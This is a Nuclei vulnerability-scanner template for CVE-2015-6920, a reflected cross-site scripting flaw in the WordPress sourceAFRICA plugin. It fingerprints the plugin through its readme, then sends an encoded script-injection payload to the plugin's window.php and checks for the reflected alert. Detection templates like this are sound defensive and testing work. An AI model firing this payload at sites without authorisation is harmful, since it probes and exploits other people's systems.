id: CVE-2015-6920

info:
  name: WordPress sourceAFRICA <=0.1.3 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress sourceAFRICA plugin version 0.1.3 contains a cross-site scripting vulnerability.
  impact: |
    Attackers can execute malicious scripts in the victim's browser, potentially stealing cookies or session tokens.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - http://packetstormsecurity.com/files/133371/WordPress-sourceAFRICA-0.1.3-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/8169
    - https://nvd.nist.gov/vuln/detail/CVE-2015-6920
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-6920
    cwe-id: CWE-79
    epss-score: 0.00306
    epss-percentile: 0.53979
    cpe: cpe:2.3:a:sourceafrica_project:sourceafrica:0.1.3:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "sourceafrica_project"
    product: sourceafrica
    framework: wordpress
  tags: cve2015,cve,wp-plugin,xss,packetstorm,wordpress,sourceafrica_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/sourceafrica/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'SourceAfrica'
          - 'Tags:'
        condition: and
        case-insensitive: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/sourceafrica/js/window.php?wpbase=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a13d3b24bfb253cec1c8026348cf2560acc5d697ad4f2e2045872d9f5302773002202929dda9b513df92e0cb0993c7ab9b0a4510d1bdb1ad43689eb2157086d8ce33:922c64590222798bb761d5b6d8e72950